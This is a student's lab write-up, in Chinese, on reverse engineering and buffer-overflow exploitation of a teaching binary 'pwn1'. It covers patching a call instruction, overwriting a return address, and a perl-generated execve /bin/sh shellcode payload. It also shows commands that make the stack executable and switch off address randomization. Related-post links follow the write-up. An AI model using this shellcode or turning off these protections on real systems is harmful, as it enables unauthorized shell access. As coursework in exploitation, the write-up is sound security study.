实验一 逆向及Bof基础

1.实验对象为32位可执行文件pwn1,这个程序主要有main、foo、getshell这三个函数,其中foo函数功能为输出输入的字符串,getshell函数功能为打开一个shell,原程序中main函数只调用了foo函数,接下来我们先通过直接修改程序机器指令,改变程序执行流程,使getshell函数被调用

实验步骤如下

  • 1.使用 objdump -d pwn1 | more 命令对pwn1进行反汇编
    可以看到以下主要内容:

    • 1.getshell函数的入口地址为0x0804847d,该函数功能为打开一个shell
    • 2.foo函数的入口地址为0x08048491,该函数功能为输出输入的函数
    • 3.main函数调用了foo函数,机器码为e8 d7 ff ff ff
      考虑e8可能为指令call的机器码,故d7 ff ff ff可能对应foo函数的地址0x08048491,而getshell函数的地址为0x08048491,两者相差0x14,考虑到数据以小端方式存储,实际地址为ff ff ff d7,将d7加上或减去0x14即可能使getshell函数被调用。
      (实际上d7 ff ff ff是一个偏移值,目标地址(0x08048491)=这条指令所在地址(0x080484b5)+指令长度(0x5)+操作数(-0x29),ff ff ff d7的二进制表示11111111 11111111 11111111 11010111即表示16进制的-0x29,现在欲将目标地址改为getshell函数的入口地址0x0804847d,则应将操作数再减去0x14,即-0x3d,补码为11111111 11111111 11111111 11000011,即ff ff ff c3,用小端方式表示为 c3 ff ff ff,这证实了之前的猜测,将0xd7减去0x14,即可得到正确的值)
  • 2.下面我们将d7修改为c3
    • 1.vi pwn1

      发现这是一个二进制文件
    • 2.在vi中输入命令 %!xxd 以16进制显示文件,接着输入命令/d7找到要修改的位置
    • 3.输入命令i进入编辑模式,将d7修改为c3,完成修改,再输入命令%!xxd -r转回二进制,再保存退出,注意顺序,先转回二进制再保存退出。
  • 3.现在再执行pwn1,可以进入shell,玩完之后exit退出shell

2.接下来我们通过构造非法的输入参数,造成BOF(缓冲区溢出)攻击,改变程序执行流程

  • 1.首先要确认输入字符串哪几个字符会覆盖到返回地址

    发现eip中的数据是35353535,说明在5的区域内
  • 2.再次尝试

    发现是在1234的位置,说明我们应该将getshell函数的入口地址放在1234的位置
  • 3.但是我们怎么将16进制数转换为ascii码的形式输入呢,为此,我们要构造输入字符串

    然后就成功打开了一个shell

    3.这次我们注入Shellcode并执行

  • 1.首先得做一些准备工作
    execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 X pwn1 more /proc/sys/kernel/randomize_va_space 2 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space 0
  • 2.构造要注入的payload
    perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
    接下来我们来确定\x4\x3\x2\x1到底该填什么。
    用gdb调试pwn1

    由此我们可以确定应该填入\xc0\xd3\xff\xff
  • 3.运行一下

    果然成功了,真的很简单。

20155222卢梓杰 实验一 逆向及Bof基础的更多相关文章

  1. 20155222卢梓杰 实验九 Web安全基础

    实验九 Web安全基础 今天不多bb,打开webgoat就是干好吧 1.简单字符串sql注入 可以看到这个实验说明是 "下表允许用户查看其信用卡号码.尝试插入一个SQL字符串,以显示所有信用 ...

  2. 20155222卢梓杰 实验八 Web基础

    实验八 Web基础 1.安装apache sudo apt-get install apache2 2.启动apache service apache2 start 3.使用netstat -tupl ...

  3. 20155222卢梓杰 实验五 MSF基础应用

    实验五 MSF基础应用 1.一个主动攻击实践,如ms17_010_eternalblue漏洞; 本次攻击目标是win7虚拟机 首先进行相应配置 然后点launch 就成功了 针对win7的漏洞还是相对 ...

  4. 20155222卢梓杰 课堂测试ch06补做

    20155222卢梓杰 课堂测试ch06补做 1.下面代码中,对数组x填充后,采用直接映射高速缓存,所有对x和y引用的命中率为() A . 1 B . 1/4 C . 1/2 D . 3/4 正确答案 ...

  5. 20155222 卢梓杰 myod

    20155222 卢梓杰 myod 复习c文件处理内容 编写myod.c 用myod XXX实现Linux下od -tx -tc XXX的功能 main与其他分开,制作静态库和动态库 编写Makefi ...

  6. # 20155222卢梓杰 2016-2017-2 《Java程序设计》第2周学习总结

    20155222卢梓杰 2016-2017-2 <Java程序设计>第2周学习总结 教材学习内容总结 数据类型 所占字节数 short整数 2 int整数 4 long整数 8 float ...

  7. 安装虚拟机及学习linux系统 20155222卢梓杰

    安装虚拟机及学习linux系统 20155222卢梓杰 首先按照要求下载virtualbox,没有遇到问题. 接下来新建一个虚拟机,按照要求应当安装乌班图64,这里只有32位的.在网上搜寻了许久,终于 ...

  8. 20145314郑凯杰《网络对抗技术》实验1 逆向及Bof基础实践

    20145314郑凯杰<网络对抗技术>实验1 逆向及Bof基础实践 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数 ...

  9. 20145237 实验一 逆向与Bof基础

    20145237 实验一 逆向与Bof基础 1.直接修改程序机器指令,改变程序执行流程 此次实验是下载老师传给我们的一个名为pwn1的文件. 首先,用 objdump -d pwn1 对pwn1进行反 ...

随机推荐

  1. Linux awk命令常见使用方法介绍

    Linux awk命令常见使用方法介绍 By:授客 QQ:1033553122   awk运行方式有三种,其中常用的为命令行方式 awk [-F  field_separator]  '{patter ...

  2. window.event.returnvalue=false;不起作用

    遇到了这个问题,这儿也有人问了, http://bbs.csdn.net/topics/390691844,按着这边的说法,把它换成return false ,试了下果然有效.初学DOM,这两者的区别 ...

  3. Ajax如何设置cookie

    普通的Ajax请求很遗憾不能返回服务器端设置的cookie 如何实现不刷新页面返回服务器设置的Cookie呢? 可以使用<script>或者<image>的src属性发起一个请 ...

  4. 更多内容 - 请关注我的 CSDN 博客

    欢迎关注我的 CSDN 博客 因为粉丝多数是在 CSDN 上,所以更多内容放在了 我的 CSDN 博客: [点击跳转] 地址:https://icode.blog.csdn.net

  5. 将 SecondaryNameNode 配置到 s105 节点上

    相关链接  Hadoop 完全分布式安装 0. 说明 SecondaryNameNode 的作用  参考[待补充] 在 Hadoop 完全分布式的基础之上配置 将 SecondaryNameNode ...

  6. Go语言学习笔记(四)结构体struct & 接口Interface & 反射reflect

    加 Golang学习 QQ群共同学习进步成家立业工作 ^-^ 群号:96933959 结构体struct struct 用来自定义复杂数据结构,可以包含多个字段(属性),可以嵌套: go中的struc ...

  7. phpstorm添加laravle语法支持

    PHPStorm神器可以支持更友好的laravel框架代码提示,只需要执行如下才做: 第一步:在项目的composer.json中添加如下一行 "require": { " ...

  8. 极限编程核心价值:简单(Simplicity)

    写在前面 在编写 ASP.NET Core 项目时,深感项目设计的无力感,在软件设计方面我还有很长的路要走.我一直以来都把代码当作一种艺术的存在,认为自己是个"艺术家",其实就是个 ...

  9. 自带hyper -v 或者 Vmware安装Linux centos

    centos系统存在网盘,链接: https://pan.baidu.com/s/1A5ywyLjIegcftaT_xCvPbA 密码: n6v4 https://blog.csdn.net/nanc ...

  10. Android学习之——自己搭建Http框架(1)

    一.前言         近期学习http框架.         眼下写的这个框架临时仅仅适用于学习之用,实际用于项目之中还须要不断的优化.         要从server或者网络获取数据.显示到U ...